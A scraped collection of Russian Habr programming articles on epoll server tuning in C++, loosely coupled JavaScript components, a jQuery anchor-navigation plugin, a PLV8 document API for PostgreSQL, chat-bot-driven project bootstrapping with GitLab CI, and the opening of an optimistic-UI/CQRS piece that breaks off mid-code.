if (conn != srvConn) {
connPool->PutConnection(conn);
}
continue;
// Если событие пришло для серверного сокета, то нужно сделать accept
} else if (conn == srvConn) {
/* We have a notification on the listening socket, which
means one or more incoming connections. */
struct sockaddr in_addr;
socklen_t in_len;
in_len = sizeof in_addr;
int infd = accept4(sfd, ∈_addr, ∈_len, SOCK_NONBLOCK);
if (infd == -1) {
if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) {
continue;
} else {
perror("accept");
continue;;
}
}
int val = true;
if (setsockopt(infd, IPPROTO_TCP, TCP_NODELAY, &val,
sizeof(val)) == -1) {
perror("TCP_NODELAY");
}
event.data.ptr = connPool->GetConnection(infd);
event.events = EPOLLIN | EPOLLET;
if (epoll_ctl(efd, EPOLL_CTL_ADD, infd, &event) == -1) {
perror("epoll_ctl");
abort();
}
continue;
// Событие для клиентского сокета, надо подготовить и отправить ответ
} else {
bool done = false;
bool closeFd = false;
while (true) {
ssize_t count;
count = read(conn->fd, conn->inBuf.Data, conn->inBuf.Capacity);
conn->inBuf.AddLen(count);
if (count == -1) {
/* If errno == EAGAIN, that means we have read all
data. So go back to the main loop. */
if (errno != EAGAIN) {
perror("read");
done = true;
} else {
continue;
}
break;
} else if (count == 0) {
/* End of file. The remote has closed the connection. */
done = true;
closeFd = true;
break;
}
if (!done) {
done = conn->ProcessEvent();
break;
}
}
if (done) {
if (closeFd) {
close(conn->fd);
connPool->PutConnection(conn);
} else {
conn->Reset(conn->fd);
}
}
}
}
}
}
```
Уже после закрытия приёма решений я решил отказаться от epoll и сделать классическую префорк модель, только с 1 500 потоков (Я.Танк открывал 1000+ соединений). По умолчанию каждый поток резервирует 8MB под стек, что даёт 1 500 \* 8MB = 11,7GB. А по условиям конкурса приложению выделяется 4GB RAM. Но к счастью размер стека можно уменьшить с помощью функции `pthread_attr_setstacksize`. Минимальный размер стека — 16KB. Т.к. внутри потоков у меня ничего большого в стек не кладётся я выбрал размер стека 32KB:
```
pthread_attr_t attr;
pthread_attr_init(&attr);
if (pthread_attr_setstacksize(&attr, 32 * 1024) != 0) {
perror("pthread_attr_setstacksize");
}
pthread_create(&thr, &attr, &runInThread, (void*) this);
```
Теперь потоки занимают 1 500 \* 32KB = 47MB.
На локальных тестах такое решение показало результаты чуть хуже чем epoll.
Тюнинг сети
-----------
Для профайлинга я использовал [gperftools](https://github.com/gperftools/gperftools), который показал, что самая долгая операция была `std::to_string`. Это было довольно быстро исправлено, но теперь основное время было в операциях `epoll_wait`, `write` и `writev`. На первое я не обратил внимания, что, возможно, стоило попадания в призёры, а что делать с `write` начал изучать, попутно находя ускорения для `accept`
### TCP\_NODELAY
По умолчанию ядро для оптимизации сети склеивает маленькие кусочки данных в один пакет ([алгоритм Нейгла](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%9D%D0%B5%D0%B9%D0%B3%D0%BB%D0%B0)), что в данном случае только мешает нам, так сервис всегда отправляет маленькие пакеты и их отправить надо как можно быстрее. Так что отключаем его:
```
int val = 1;
if (setsockopt(sfd, IPPROTO_TCP, TCP_NODELAY, &val, sizeof(val)) == -1) {
perror("TCP_NODELAY");
}
```
### TCP\_DEFER\_ACCEPT
Данная опция позволяет отправлять ответ не дожидаясь ACK'а от клиента при TCP handshake'е:
```
int val = 1;
if (setsockopt(sfd, IPPROTO_TCP, TCP_DEFER_ACCEPT, &val, sizeof(val)) == -1) {
perror("TCP_DEFER_ACCEPT");
}
```
### TCP\_QUICKACK
На всякий случай выставил и эту опцию, хотя до конца не понимаю принцип её работы:
```
int val = 1;
if (setsockopt(sfd, IPPROTO_TCP, TCP_QUICKACK, &val, sizeof(val)) == -1) {
perror("TCP_QUICKACK");
}
```
### SO\_SNDBUF и SO\_RCVBUF
Размеры буферов тоже влияют на скорость передачи сети. По умолчанию используется около 16KB. Без изменения настроек ядра их можно увеличить до примерно 400KB, хотя попросить можно любой размер:
```
int sndsize = 2 * 1024 * 1024;
if (setsockopt(sfd, SOL_SOCKET, SO_SNDBUF, &sndsize, (int) sizeof(sndsize)) == -1) {
perror("SO_SNDBUF");
}
if (setsockopt(sfd, SOL_SOCKET, SO_RCVBUF, &sndsize, (int) sizeof(sndsize)) == -1) {
perror("SO_RCVBUF");
}
```
При таком размере появились битые пакеты и таймауты.
### accept4
Обычно используется функция `accept` для получения клиентского сокета и 2 вызова `fcntl` для выставления флага `fcntl`. Вместо 3 системных вызова нужно использовать `accept4`, которая позволяет сделать тоже самое передав последним аргументом флаг `SOCK_NONBLOCK` за 1 системный вызов:
```
int infd = accept4(sfd, ∈_addr, ∈_len, SOCK_NONBLOCK);
```
### ~~aio~~
Ещё 1 способ работать с IO асинхронно. В aio есть функция `lio_listio`, позволяющая объединить в 1 системный вызов несколько `write/read`, что должно уменьшить задержки на переключение в пространство ядра.
Идея была в простая, так как в epoll приходит несколько событий одновременно, то можно подготовить ответы для всех клиентов и отправить одновременно. К сожалению улучшений не принесло, пришлось отказаться.
### epoll\_wait(...., -1) -> epoll\_wait(...., 0)
Как оказалось это была ключевая особенность, которая позволяла уменьшить количество штрафа на примерно 30 секунд, но, к сожалению, об этом я узнал слишком поздно.
Postscriptum
------------
Спасибо организаторам за конкурс, хоть всё проходило не очень гладко. Было очень увлекательно и познавательно. | https://habr.com/ru/post/337854/ | null | ru | null |
# Фундамент масштабируемости javascript приложения
*"Если хочешь идти быстро — иди один. Если хочешь идти далеко — идите вместе."* (с)
С этой лирической строки в данной статье я буду рассуждать о том, как правильно организовать код в вашем приложении, чтобы оно могло расти в высоту и в ширь. Если вы хотите, чтобы продукт вашей мозговой активности был мощнее, чем у ваших конкурентов, то вам неизбежно придется приглашать новых программистов в вашу команду. А если не положить вектор масштабируемости, то порывы энтузиазма через год превратятся в лапшу-код и командная работа превратит каждого сотрудника от злости в маленького сатану.
Так вот… Для того, чтобы ваши бойцы чувствовали себя комфортно вместе в одном проекте, надо чтобы они не мешали друг другу и писали свои буквы в разных не пересекающихся участках кода. Для этого им нужно будет писать "Самостоятельные" компоненты.
"Самостоятельные" — это такие компоненты, которые сами управляют своим поведением, ориентируясь на события из внешней среды. При знании о том, как работает ваше приложение и какие события в нем протекают, можно легко писать такие "самостоятельные" компоненты, не затрагивая старые и чужие участки кода.
"Несамостоятельные" — компоненты, которые ничего не знают о внешней среде, но у них есть очень развернутое api. Этому компоненту нужно объяснить, как себя вести в вашем приложении. Такие компоненты, в отличие от "самостоятельных" пишутся ради многоразового использования в вашем или публичном проектах, как например открытые библиотеки на github и др.
Как определить какие компоненты нужны в вашем приложении? Очень просто. Если компонент применим только к одной задаче и не многоразовый, то его нужно писать так, чтобы он был "самостоятельным".
Вот например, рассмотрим компонент олицетворяющий поля ввода сообщения в ленте чата. Скорее всего такое поле ввода в вашем приложении вы будете использовать только по прямому назначению и не будете его использовать, скажем, в форме ввода никнейма или пароля при авторизации, ибо там у компонентов будет своя специфика.
Не будем тянуть кота за то, что не стоит оттягивать и разберем конкретный пример. Пускай это будет имитация чатика.
Представим, что у вас два программиста в команде. Петька и Толик. И у них есть ядро масштабируемого приложения. Простое, как два пальца у двупалого человека. В ядре есть сетевой транспорт, хранилище ленты сообщений в виде массива(в этом примере не будем выделять его в отдельный файл с методами) и event emitter, который в этом случае является залогом масштабируемости.
В качестве event emitter в этом примере я взял Backbone.Events, хотя этим и ограничимся в использовании Backbone, чтобы показать пример как можно проще.
```
<script src="http://backbonejs.org/backbone-min.js">
<script src="connection.js"/>
<script src="app.js"/>
</head>
<body>
<div id="header" style="padding:10px; border:1px solid #ddd"></div>
<div id="container" style="margin-top:20px;"></div>
<script>
var app = new App();
app.init();
app.on('new\_message', function(text){
console.info('new message', text);
console.info('messages length', app.messages.length);
});
//app.js
var App = function(){
var app = _.extend({
init: function(){
this.connection.connect();
}
}, Backbone.Events);
app.connection = new Connection(),
app.messages = [];
app.connection.on('connected', function(){
console.info('App connected!');
});
app.connection.on('incoming_message', function(text){
app.messages.push(text);
app.trigger('new_message', text)
});
return app;
}
//connection.js
var Connection = function(){
return _.extend({
connect: function(){
/*просто имитируем то, что наш сетевой транспорт принимает сообщения от сервера и отдает какие то сигналы каждую секунду во внешнюю среду*/
var i=0;
setInterval(_.bind(function(){
i++;
var text = 'message_' + i;
this.trigger('incoming_message', text);
},this),1000);
this.trigger('connected');
},
}, Backbone.Events);
}
```
Ну вот, у нас есть приложение, в котором пока ни одной вьюхи и работу которого можно протестировать через консоль браузера. Кстати, если из вашего приложения удалить все вспомогательные компоненты и вьюхи, и оно сможет работать через консоль, то это очень хорошо. Значит у вас достигнута в какой-то мере слабая связанность между компонентами и код можно покрыть автоматизированными тестами. Погнали дальше.
Теперь сведущий в стратегических планах человек ставит задачу Петьке и Толику, мол, надо, чтобы приложение показывало ленту сообщений, а в шапке был счетчик всех сообщений в из ленты. У вас мог возникнуть вопрос… кому вообще нужен этот, блин, счетчик сообщений в шапке в реальной жизни? Это просто для примера.
Ок, думают Петька и Толик, ок. Они решают одновременно написать два разных компонента для приложения.
### Петька взял на себя задачу по ленте сообщений
Но он не слышал о том, как программировать масштабируемое приложение и начал писать код:
```
//list-view.js - "несамостоятельный" компонент
var ListView = function(){
var el = document.createElement('div');
return {
el: el,
addMessage: function(text){
var row = document.createElement('div');
row.innerHTML = 'message: ' + text;
el.appendChild(row);
}
}
}
//app.js изменение кода
var App = function(){
var app = _.extend({
init: function(){
connection.connect();
}
}, Backbone.Events);
app.connection = new Connection(),
app.messages = [];
//добавил код
app.listView = ListView();
document.getElementById('container').appendChild(app.listView.el);
//
app.connection.on('connected', function(){
console.info('App connected!');
});
app.connection.on('incoming_message', function(text){
app.messages.push(text);
app.trigger('new_message', text);
app.listView.addMessage(text); //добавил код
});
return app;
}
```
Петя создал компонент, которым приходится управлять посредством методов на более высоком уровне и, как следствие, помимо простого объявления компонента, пришлось копаться в коде app.js и добавить строки в обработчик incoming\_message. Теперь вы не сможете просто закомментировать строки "app.listView = .." и "...appendChild(app.listView.el)" так, чтобы ваше приложение не сломалось. Ибо app.listView.addMessage(text); выдаст Exception. Приложение начало обрастать связанностью. Ядро начало зависеть от view.
### Посмотрим, как справился Толик с задачей по счетчику сообщений в шапке
Он знает, как писать код так, чтобы не мешать другим:
```
//header-view.js
var HeaderView = function(app) {
var el = document.createElement('div'),
span = document.createElement('span'),
view = {
el: el,
setCounter: function(num){
span.innerHTML = num;
}
}
el.innerHTML = 'Кол-во сообщений: ';
el.appendChild(span);
view.setCounter(0);
app.on('new_message', function(){
view.setCounter(app.messages.length);
});
return view;
}
//app.js изменение кода
...
app.connection = new Connection(),
app.messages = [];
//добавил код
app.headerView = HeaderView(app);
document.getElementById('head').appendChild(app.headerView.el)
//
...
```
Что сделал Толик за пределами своего компонента — это только объявил компонент в области переменных app, отрендерил и все. Компонент остается также доступным для ручного тестирования через консоль или для модульного тестирования, так как он все же возвращает api.
Зона ответственности за код Толика ограничивается по сути всего одним файлом header-view.js и эти правки легче ревьюить, ведь надо смотреть всего в один файл.
### Писать "самостоятельные" компоненты выгодно
Если бы Толик тоже написал несамостоятельный компонент, то в app.js он затронул бы те же куски кода, что и Петя. Сложно мержить, связанность между компонентами увеличивается. На таком маленьком примере может этого не сильно будет заметно, но если у вас суммарно многотысячный код и пишутся большие сложные фичи, то это можно будет хорошо почувствовать.
В процессе написания кода всегда будет выбор, либо управлять компонентом на более высоком уровне иерархии, либо дать компоненту управляться самостоятельно.
Разделяйте и властвуйте господа, пишите для своих приложений "самостоятельные" компоненты.
p.s. Хотя примеры кода в данной статье были написаны на голом JS без использования фреймворков, данная философия слабой связанности справедлива и при их использовании, будь то Backbone или React с хитрыми методологиями изоморфных приложений типа Flux и Redux, или еще каких других фреймворков.
Всегда стремитесь ограничивать зону ответственности в коде ваших программистов, когда они пилят новые фичи. Если вам дали такой гаечный ключ, как React, то им нужно закручивать гайки, а не бить себе им по пальцам.
Команда разработчиков JivoSite.ru желает вам чистого и понятного кода. | https://habr.com/ru/post/301020/ | null | ru | null |
# Якорная навигация на jQuery (graceful degradation)
Недавно я наткнулся на интересный плагин для jQuery: [BBQ — Back Button & Query Library](http://benalman.com/projects/jquery-bbq-plugin/).
И решил на ее основе сделать свой плагин для навигации на основе якорей. Задачи, которые я себе ставил:
1. нормальная работа ссылок в условиях выключенного javascript (читай — нормальная индексация страниц поисковиками)
2. поддержка обычных anchor-ссылок безо всяких дополнительных запросов
3. поддержка отображения подгруженного контента в разных областях страницы
Результат можно посмотреть [здесь](http://vbolshov.org.ru/anchornav/). А еще можно почитать чуть подробнее.
**UPD:** дамы и господа, некоторые жалуются на недоступность странички (403 Forbidden), однако, я ничего такого не вижу. В комментах привели ссылку на рабочий вариант, который можно попробовать, если моя ссылка у вас не заработала: <http://vbolshov.org.ru.nyud.net/anchornav/>.
Идея была такова: сделать плагин, который превращал бы выбранные посредством селектора ссылки — в «якорные» ссылки, причем чтобы в опциях можно было задать целевой элемент, где должен отображаться контент.
В результате появился плагин, использовать который можно так:
> `$('a.anchornav').anchornav({
>
> // это целевой элемент - туда будет загружаться динамический контент
>
> target: '#content',
>
>
>
> // CSS-class, который добавляется целевому элементу на то время, пока идет загрузка содержимого
>
> loading\_class: 'loading',
>
>
>
> // текст, показывающийся в целевом элементе в то время, пока идет загрузка содержимого
>
> loading\_text: 'loading...',
>
>
>
> // CSS-class, который добавляется ссылкам, указывающим на последний загруженный УРЛ
>
> active\_class: 'anchornav-active',
>
>
>
> // пространство имен. Ссылка-якорь, сегенерированная плагином имеет вид #:
>
> namespace: 'a',
>
>
>
> // должен ли этот экземпляр плагина обрабатывать пустой хэш (он же - анкор).
>
> // это сделано для того, чтобы при обработке навигационных кнопок
>
> // back и forward, если пользователь вернулся на исходный УРЛ (без хэша) -
>
> // подгрузить ему нужный контент.
>
> // Обычно, имхо, имеет смысл только одному экземпляру назначать эту функциональность.
>
> handle\_empty\_anchor: true
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Результат: все ссылки имеют нормальные УРЛы, которые индексируются поисковиками, но загружают контент в нужное место страницы. При этом в контенте могут присутствовать скрипты, которые, скажем, будут изменять title страницы.
Поддержка этаких штучек потребует также кое-каких манипуляций на сервере. Нужно проверить, является ли запрос AJAX-запросом и уже в зависимости от этого выдавать либо полную HTML-страницу, либо только ее кусочек. Таким образом, пользователи с отключенным javascript также смогут без проблем серфить по сайту.
На PHP такую проверку можно сделать примерно так:
> $xmlHttpRequest = filter\_input(INPUT\_SERVER, 'HTTP\_X\_REQUESTED\_WITH', FILTER\_SANITIZE\_STRING);
Ну вот, как бы и все вроде. Комментарии и пожелания приветствуются. | https://habr.com/ru/post/82906/ | null | ru | null |
# Проектирование в PostgreSQL документо-ориентированного API: Полнотекстовый поиск и сохранение многих документов(Часть 2)
В [первой части этой серии статей](http://habrahabr.ru/post/272395/), я создал хорошую функцию сохранения, равно как и другую функцию, позволяющую создавать изменяемые документо-ориентированные таблицы на лету. Они работают исправно и делают именно то, что надо, но мы можем сделать еще многое. Особенно: *я хочу полнотекстовый поиск, индексируемый на лету и сохранение многих документов внутри транзакции.*
Давайте сделаем это.
#### **Полнотекстовый поиск**
Наша документо-ориентированная таблица имеет поисковое поле типа **tsvector**, которое индексируется, используя GIN индекс для скорости. Я хочу обновлять это поле каждый раз, когда сохраняю документ, и не хочу много шума от API когда я это делаю.
В связи с этим, я прибегну к некоторой условности.
Обычно, при создании полнотекстового индекса, поля хранятся с довольно-таки специфическими именами. Такими как:
* Имя, или фамилия, возможно адрес электронной почты
* Название, или описание чего-то
* Адресная информация
Я хотел бы проверить мой документ в момент сохранения на наличие каких-либо ключей, которые я хотел бы проиндексировать и после этого сохранить их в поле **search**. Это возможно сделать при помощи функции, которую я назвал **update\_search**:
```
create function update_search(tbl varchar, id int)
returns boolean
as $$
//get the record
var found = plv8.execute("select body from " + tbl + " where id=$1",id)[0];
if(found){
var doc = JSON.parse(found.body);
var searchFields = ["name","email","first","first_name",
"last","last_name","description","title",
"street", "city", "state", "zip", ];
var searchVals = [];
for(var key in doc){
if(searchFields.indexOf(key.toLowerCase()) > -1){
searchVals.push(doc[key]);
}
};
if(searchVals.length > 0){
var updateSql = "update " + tbl + " set search = to_tsvector($1) where id =$2";
plv8.execute(updateSql, searchVals.join(" "), id);
}
return true;
}else{
return false;
}
$$ language plv8;
```
Я вновь использую javascript (PLV8) для этих целей, и вытягиваю документ, основанный на ID. После чего я прохожу по всем ключам, что проверить, есть ли среди них те, которые я мог бы захотеть хранить, и, если есть, помещаю их в массив.
Если в этот архив есть попадания, я конкатинирую эти объекты и сохраняю их в поле **search** документа, используя функцию **to\_tsvector**, являющуюся встроенной в Postgres, которая берет обычный текст и превращает его в индексируемые величины.
Вот и оно! Выполняя этот скрипт, мы получаем следующее:
Идеально — теперь я просто могу вставить это в конец моей **save\_document** функции и оно будет вызываться транзакционно каждый раз, когда я что-то сохраняю:
```
create function save_document(tbl varchar, doc_string jsonb)
returns jsonb
as $$
var doc = JSON.parse(doc_string);
var result = null;
var id = doc.id;
var exists = plv8.execute("select table_name from information_schema.tables where table_name = $1", tbl)[0];
if(!exists){
plv8.execute("select create_document_table('" + tbl + "');");
}
if(id){
result = plv8.execute("update " + tbl + " set body=$1, updated_at = now() where id=$2 returning *;",doc_string,id);
}else{
result = plv8.execute("insert into " + tbl + "(body) values($1) returning *;", doc_string);
id = result[0].id;
doc.id = id;
result = plv8.execute("update " + tbl + " set body=$1 where id=$2 returning *",JSON.stringify(doc),id);
}
//run the search indexer
plv8.execute("perform update_search($1, $2)", tbl,id);
return result[0] ? result[0].body : null;
$$ language plv8;
```
#### **Сохранение многих документов**
На данный момент, я могу передать единичный документ функции **save\_document**, но я хотел бы иметь возможность передать ей массив. Я могу сделать это проверяя тип аргумента, после чего запускать цикл:
```
create function save_document(tbl varchar, doc_string jsonb)
returns jsonb
as $$
var doc = JSON.parse(doc_string);
var exists = plv8.execute("select table_name from information_schema.tables where table_name = $1", tbl)[0];
if(!exists){
plv8.execute("select create_document_table('" + tbl + "');");
}
//function that executes our SQL statement
var executeSql = function(theDoc){
var result = null;
var id = theDoc.id;
var toSave = JSON.stringify(theDoc);
if(id){
result=plv8.execute("update " + tbl + " set body=$1, updated_at = now() where id=$2 returning *;",toSave, id);
}else{
result=plv8.execute("insert into " + tbl + "(body) values($1) returning *;", toSave);
id = result[0].id;
//put the id back on the document
theDoc.id = id;
//resave it
result = plv8.execute("update " + tbl + " set body=$1 where id=$2 returning *;",JSON.stringify(theDoc),id);
}
plv8.execute("select update_search($1,$2)", tbl, id);
return result ? result[0].body : null;
}
var out = null;
//was an array passed in?
if(doc instanceof Array){
for(var i = 0; i < doc.length;i++){
executeSql(doc[i]);
}
//just report back how many documents were saved
out = JSON.stringify({count : i, success : true});
}else{
out = executeSql(doc);
}
return out;
$$ language plv8;
```
Хорошая сторона работы здесь с javascript'ом заключается в том, что логика, необходимая для такой рутины, достаточно проста (в противоположность PLPGSQL). Я выделил весь процесс сохранения в его отдельную функцию — которая является javascript'ом после всего — таким образом я могу избежать дублирования.
Затем я хочу проверить, что подаваемый на вход аргумент — массив. Если это так, то я иду по его членам и вызываю **executeSql**, возвращая все, что накопилось при выполнении.
Если это не массив, я просто выполняю все так же, как и было, возвращая документ целиком. Результат:
Прекрасно! Лучшее в этом то, что **это все происходит внутри транзакции**. Мне это нравится!
#### **Странности Node**
Если бы только это могло работать идеально из Node! Я пробовал и в .NET, и в Node, с .NET все просто работает (странно) используя библиотеку Npgsql. Из Node, не то чтобы.
Короче говоря: node\_pg драйвер делает очень странное преобразование, когда он видит объект массива в качестве входного параметра. Обратим внимание на следующее:
```
var pg = require("pg");
var run = function (sql, params, next) {
pg.connect(args.connectionString, function (err, db, done) {
//throw if there's a connection error
assert.ok(err === null, err);
db.query(sql, params, function (err, result) {
//we have the results, release the connection
done();
pg.end();
if(err){
next(err,null);
}else{
next(null, result.rows);
}
});
});
};
run("select * from save_document($1, $2)", ['customer_docs', {name : "Larry"}], function(err,res){
//works just fine
}
```
Это обычный Node/PG код. В самом конце, функция run настроена чтобы вызывать мою save\_document функцию и передавать некоторые данные. Когда PG видит входной объект, он превращает его в строку и сохранение пройдет нормально.
В случае же, если послать массив…
```
run("select * from save_document($1, $2)",
['customer_docs', [{name : "Larry"}, {name : "Susie"}],
function(err,res){
//crashes hard
}
```
Я получаю обратно ошибку, сообщающую мне, что это некорректный JSON. Сообщение об ошибке (из Postgres) сообщит, что это связано со скудно отформатированным JSON:
```
{"{name : "Larry"}, ...}
```
Что… да, это ужасно. Я пытался сформулировать что происходит, но это просто-напросто выглядит так, что node\_pg драйвер разбирает внешний массив — возможно вызывая метод **flatten** библиотеки Underscores. Я не знаю. Чтобы это обойти, вам необходимо изменить ваш вызов на следующее:
```
run("select * from save_document($1, $2)",
['customer_docs', JSON.stringify([{name : "Larry"}, {name : "Susie"}]),
function(err,res){
//Works fine
}
```
#### **Вперед!**
Процедура сохранения довольна гладкая и это меня радует. В следующей статье я настрою поисковики, а также создам функцию полнотекстового поиска. | https://habr.com/ru/post/272411/ | null | ru | null |
# CUSTIS Labs. Развертываем инфраструктуру за минуты
Старт любого нашего проекта начинается с подготовки инфраструктуры. Времени на это порой уходит довольно много. Как минимум необходимо нарезать виртуалки или донастроить Kubernetes, настроить CI, базы данных, логирование, мониторинг и прочие компоненты. В лучшем случае в этих заботах проходит несколько дней, а ни строчки кода еще не написано. Знакомая ситуация?
Лучшим решением для нас стал собственный набор сервисов, инструментов и подходов — CUSTIS Labs. Он помог нам сократить время подготовки инфраструктуры с нескольких дней до минут. Также убрал лишние коммуникации, которые возникают между разными специалистами при создании инфраструктуры вручную. Теперь разработчику не надо узнавать у девопса, где лежат логи, где находятся метрики сервиса и как подключиться к базе — все настраивается и сообщается разработчику автоматически.
Настройка быстрого старта не единственная задача, которую решает CUSTIS Labs. Подробнее о других его функциях расскажем в следующих статьях.
### Почему все не в Kubernetes
Популярный на рынке способ быстрого старта — все всегда стартовать в Kubernetes — мы отмели сразу.
Во-первых, сам Kubernetes не всегда подходит под конкретные задачи. Для определенных работ сейчас есть более удобные и эффективные инструменты. Например, с базами данных пока лучше работать вне Kubernetes.
Во-вторых, стенд разработки и тестирования на нашей стороне должен быть максимально похож на стенд клиента. А на всех проектах заказчик разный, со своими особенностями и стандартами.
### Как мы стартуем проекты
В отделе разработки у нас есть группа MVP (minimum viable product), она же группа прототипирования. Это небольшая команда, состоящая из одного-двух фулстек-разработчиков и тимлида. Основные задачи этой команды — тестирование гипотез, разработка коммерческих предложений и запуск новых проектов. Для решения этих задач как раз очень хорошо подходит Kubernetes.
В отделе прототипирования все происходит стремительно. От задумки до прототипа должны проходить максимум дни. Идея, сбор команды, прототип, демо — и так постоянно. Ребята как можно быстрее должны приступить к написанию бизнес-логики, не отвлекаясь на выделение инфраструктуры под проект, создание баз данных и прочее.
Мы используем популярные на рынке технологии. Техстек и инфраструктура проектов в отделе MVP выглядит так:
* Kubernetes как среда исполнения контейнеров;
* PostgreSQL как СУБД;
* В GitLab мы храним код;
* GitLab CI — наша сборка и деплой;
* OpenSearch, Grafana, Prometheus — сбор и визуализация метрик и логов;
* Выбор языка программирования зависит от клиента, но, как правило, это Java/.NET;
* Кэш — Redis;
* Очереди — RabbitMQ.
Как видите, все довольно стандартно.
Итак, для старта проекта команде MVP необходимо:
* Подготовить инфраструктуру;
* Создать проект в GitLab;
* Создать для проекта базу данных;
* Настроить CI;
* Настроить логирование и сбор метрик;
* Настроить внешний URL проекта для заказчика;
* Выписать для этого URL необходимые сертификаты.
Для того, чтобы все это автоматизировать, нужен был какой-то подход. Мы посмотрели вокруг и поняли, что модель ChatOps наиболее подходящая в нашем случае.
Создали бота в Телеграме и подключили его к нашему CI. Бот принимает определенные команды, в недрах инфраструктуры происходит запуск pipelines и по результатам внутренней магии бот рапортует пользователю о проделанной работе.
Пример:
Командуем боту `/newproject`, отвечаем на вопросы по названию проекта, типу бэкенда, наличию фронтендa, необходимости в базе данных. Через некоторое время получаем в ответ URL созданного проекта или группы проектов в GitLab с кодом и уже настроенным CI, описанной инфраструктурой в Terraform, а также URL для доступа к логам, метрикам и URL для клиента.
### Как происходит запуск под капотом
Всё, что нам надо для работы, готово. Предлагаем посмотреть, как это устроено.
Общая схема работы:
Бот получает данные от пользователя и:
1. Дергает API GitLab для запуска pipeline проекта INFRA
2. Runner подхватывает pipeline и:
* создает репозиторий из заранее подготовленного шаблона;
* создает БД для проекта, если необходимо;
* в последнем шаге pipeline и сообщает в чат о проделанной работе.
Основная логика работы находится в проекте INFRA.
Выглядит он как стандартный репозиторий с Ansible:
* …
* files
* inventory
* roles
* templates
* deploy-new-db.yml
* deploy-new-gitlabproject.yml
* .gitlab-ci.yml
* ….
Для проекта INFRA мы создали pipeline trigger и добавили вызов этого триггера в логику работы бота, тут всё по документации:
```
curl -X POST \
-F token=TOKEN \
-F "ref=REF_NAME" \
-F "variables[SOMEVAR]=true" \
https://git.custis.ru/api/v4/projects/1524/trigger/pipeline
```
Бот вызывает этот POST с нужными нам параметрами.
Далее Runner подхватывает pipeline и выполняет по очереди шаги из секции scripts:
Создает новый проект из templates в GitLab.
```
script:
- …
- export BACKTYPE=…
- …
- ansible-playbook -c local deploy-new-gitlabproject.yml -vv
```
Создает новую БД для проекта, если необходимо.
```
script:
- …
- export DBNAME=…
- export DBUSER=…
- export DBPASS=…
- ansible-playbook -i dbcluster deploy-new-db.yml -vv
```
В самом конце рапортует пользователю о проделанной работе:
```
.x-chat-notification: &chat_notification
- |
notification_send(){ curl --silent --insecure --max-time 10 --data chat_id="${TG_CHAT_ID}" --data "disable_notification=true" --data "disable_web_page_preview=true" --data "parse_mode=html" --data "text=$(echo $@)" "https://chat-url/chatbot${RC_BOT_TOKEN}/sendMessage"; }
notification_message(){
echo "**Project details**
Project external URL: <a href='$NEWPROJECTURL'>$NEWPROJECTURL</a>
Project Gitlab URL: <a href='$NEWPROJECTGITURL'>$NEWPROJECTGITURL</a>
Logs: $ELKURL
Metrics: $GRAFANAURL
"|xxd -p|tr -d \\n|sed 's/../%&/g';
}
notification_send $(notification_message)
script:
- …
- *chat_notification
```
Структура созданного проекта кроме кода каркаса сервиса на указанном языке программирования содержит типичный набор компонент для деплоя.
На примере бэкенд-сервиса:
1. Код каркаса сервиса на C# или Java;
2. Dockerfile;
3. .helm файлы;
4. .gitlab-ci.yml с шагами сборки, проверки на безопасность и деплоя.
Пользователю после получения сообщения от бота осталось только сделать git clone и написать бизнес-логику :-)
Commit, Push и деплой на dev-стенд стартует автоматически. После тестов, сборки и деплоя наш проект доступен по адресу [https://dev-.labs](https://%20https:/dev-%3cprojectname%3e.labs).[domain.ru](http://domain.ru)
Расскажите в комментариях, а как вы решаете задачу быстрого старта?
Мы рассмотрели только один случай применения CUSTIS Labs. Однако у нас его активно использует не только группа MVP. В других отделах разработки, где продукты уже внедрены, важна стандартизация компонентов проекта — единые шаблоны, форматы и вводные. Когда первые шаги стандартны, гораздо легче работать: база сама создается, логи в одном месте, — бери и пиши код. Кроме того, упрощается вход новых сотрудников в проект, которые должны как можно скорее начать ориентироваться в нем и приступать к решению бизнес-задач. Тоже самое справедливо и при переходе с одного проекта на другой. Со всем этим нам также помогает CUSTIS Labs.
В следующий раз подробно расскажем про то, как мы стандартизируем и управляем компонентами на проектах на примере СУБД PostgreSQL. | https://habr.com/ru/post/662005/ | null | ru | null |
# Optimistic UI, CQRS and EventSourcing
[](https://habrahabr.ru/company/devexpress/blog/350060/)
При разработке высоконагруженных веб-приложений для лучшего масштабирования часто применяется такой принцип, как CQRS. Он гласит, что метод должен быть либо командой, выполняющей какое-то действие, либо запросом, возвращающим данные, но не одновременно и тем, и другим. Другими словами, вопрос к системе не должен менять ответ. Более формально, возвращать значение можно только чистым, не имеющим побочных эффектов методам.
Но для хорошего масштабирования разделения API на чтение/запись недостаточно. Нужно разделить и базы данных, с которыми это API работает. Тут нам на помощь приходит EventSourcing. Он предлагает нам хранить всем события системы в одной базе данных, назовем ее EventStore, а все остальные базы данных и таблицы строить уже на ее основе.
Сочетание CQRS и EventSourcing очень сильно развязывает нам руки в плане балансировки нагрузки внутри системы, количестве ее узлов, количестве вспомогательных баз данных, использовании кеширования и прочего, но одновременно усложняет логику работы приложения и привносит множество ограничений.
В этой статье мы рассмотрим один из нюансов проектирования клиентской части для такой системы — оптимистические обновления в UI.
Для фронтенда возьмем модные React и Redux. Кстати, Redux и EventSourcing — очень близкие по духу технологии.
Оптимистичные обновления пользовательского интерфейса и так непросто реализовать, а CQRS и EventSourcing еще сильнее усложняют задачу.
Как же это должно работать? Давайте разберемся пошагово.
1. Отправляем команду и, не дожидаясь ответа, диспатчим оптимистичный event в Redux Store. Оптимистичный event будет содержать ожидаемые результаты сервера. Также на этом шаге мы запоминаем текущее состояние данных, которые event будет менять.
2. Ждем результата отправки команды. Если команда не прошла, диспатчим event, откатывающий оптимистичное обновление, на основе данных, которые запомнили на первом шаге. Если все хорошо, то ничего не делаем.
3. Ждем, когда на клиент из шины прилетит настоящий event. Когда это случилось, откатываем оптимистическое обновление и применяем настоящий event.
Как это будет выглядеть на практике:
| Успех | Провал |
| --- | --- |
| optimistic-success | optimistic-failure |
| optimistic-success-redux | optimistic-failure-redux |
Код оптимистического обновления опишем как Middleware к Redux Store:
```
const optimisticCalculateNextHashMiddleware = (store) => {
const tempHashes = {};
const api = createApi(store);
return next => action => {
switch (action.type) {
case SEND_COMMAND_UPDATE_HASH_REQUEST: {
const { aggregateId, hash } = action;
// Save the previous data
const { hashes } = store.getState()
const prevHash = hashes[aggregateId].hash;
tempHashes[aggregateId] = prevHash
// Dispatch an optimistic action
